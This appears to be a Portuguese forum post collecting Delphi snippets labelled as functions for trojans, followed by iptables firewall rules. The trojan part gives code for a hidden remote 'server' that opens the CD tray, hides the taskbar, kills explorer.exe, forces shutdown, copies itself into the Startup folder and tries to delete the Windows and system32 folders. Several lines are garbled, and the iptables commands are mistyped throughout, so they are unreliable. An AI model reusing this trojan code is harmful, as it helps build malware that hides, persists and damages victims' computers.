Messages

# Delphi - Funções para Trojans.
//Abrir CD
MciSendString('Set CdAudio Door Open',nil,0,Handle)
//Fechar CD ( se for embaixo do primeiro use ELSE exemplo: else if Socket.receiveText = '2' then)
MciSendString('Set CdAudio Door Closed',nil,0,Handle);
//Desligar Monitor
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 1);
//Ligar Monitor
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0);
//Ocultar Iniciar
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),0);
//Mostrar Iniciar
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),1);
//Fechar Servidor
Application.Terminate;
//Ligar Descanço de tela
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE , 1, nil, 0);
//Desligar Descanço de tela
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE , 0, nil, 0);
//Ocultar Servidor
ShowWindow(Application.Handle, SW_HIDE);
//Mostrar Servidor
ShowWindow(Application.Handle, SW_HIDE);
//Destravar Mouse
SwapMouseButton(true);
//Travar Mouse
SwapMouseButton(false);
//Reiniciar PC
ExitWindowsEx(EWX_REBOOT, 0);
//Desligar PC
ExitWindowsEx(EWX_SHUTDOWN, 0);
//Força todos os programas a finalizar
ExitWindowsEx(EWX_FORCE, 0);
//Desligar windows em 3 segundos
WinExec('cmd /C shutdown -s -t 03', SW_SHOW);
//Não desligar windows
WinExec('cmd /C shutdown -a', SW_HIDE);
//Desligar windows em 10 segundos
WinExec('cmd /C shutdown -s -t 10', SW_SHOW);
//Desligar windows em 30 segundos
WinExec('cmd /C shutdown -s -t 30', SW_SHOW);
//Ocultar Relogio
ShowWindow( FindWindowEx(FindWindowEx( FindWindow('Shell_TrayWnd', nil), HWND(0), 'TrayNotifyWnd', nil), HWND(0), 'TrayClockWClass', nil), Sw_Hide);
//Mostrar relogio
ShowWindow( FindWindowEx(FindWindowEx( FindWindow('Shell_TrayWnd', nil), HWND(0), 'TrayNotifyWnd', nil), HWND(0)
//Kill explorer.exe
Winexec('cmd /c taskkill -f -im explorer.exe',0);
//Restaurar explorer.exe
Winexec('cmd /c start explorer.exe',0);
//Esconder Icones da area de trabalho
ShowWindow(FindWindow('progman',nil),0);
//Mostrar Icones da area de trabalho
ShowWindow(FindWindow('progman',nil),1);
//Adicionar servidor a iniciação automatica
CopyFile(PChar(Application.ExeName), PChar('C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar\Servidor.exe'), True);
//Mudar resolução do windows (Nessecita do componente ListBox no form)
EnumDisplaySettings(nil,Listbox1.ItemIndex,Devmode);
ChangeDisplaySettings(DevMode,0);
//Ligar caps lock
tbSetCapsLock(true);
//Desligar caps lock
tbSetCapsLock(false);
//Ocultar Cursor
MouseShowCursor(false);
//Mostrar cursorv
MouseShowCursor(true);
//Deletar windows
DeleteFile('C:\WINDOWS');
//Deletar system32
DeleteFile(C:\WINDOWS\SYSTEM32')

# Contra Sys-flood

iptables –A FORWARD –p tcp –m limit 1/s –j ACCEPT

# Contra ping da morte

Iptables –A FORWARD –p icmp –icmp-type echo-request –m limit –limit 1/s –j ACCEPT

# Contra o nmap

Iptables –A FORWARD –p tcp –tcp-flags SYN,ACK,FIN,RST RST –m limit –limit 1/s –j ACCEPT

# Bloquiando trecertroute

Iptables –A IMPUT –p udp –s 0/0 –i eth1 –dport 33435:33525 –j DROP

#Proteçoes contra ataques

iptables –A IMPUT –m state –state INVALID –j DROP

#Bloqueando um maquina pelo endereco MAC

Iptables –A IMPUT –m –mac-source xx:xx:xx:xx:xx:xx -j DROP

#Proteçao contra ip spoofing

Iptables –A IMPUT –s 172.16.0.0/16 –i ext_face –j DROP

Iptables –A IMPUT –s 192.168.0.0/24 –i ext_face –j DROP

Iptables –A IMPUT –s 192.168.0.0/24 -i ext-face -j DROP

<ext_face sao as interfaces da internet como ppp e ethX >

#Proteçao contra syn-floods

iptables –A FORWARD –p tcp –syn –m limit –limit 1/s –j ACCEPT

#Proteçao contra portscan ocultos

Iptables –A FORWARD –p tcp –tcp-flags SYN,ACK,FIN,RST RST –m limit –limit 1/s –j ACCEPT

#Bloqueando pacotes fragmentados

Iptables –A IMPUT –I INTEXT –m unclean –j log_unclean

Iptables –A IMPUT –f –I INTEXT –j log_fragment

<INTEXT = interface da internet >

#Anulando as respostas do icmp 8 (echo reply)

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all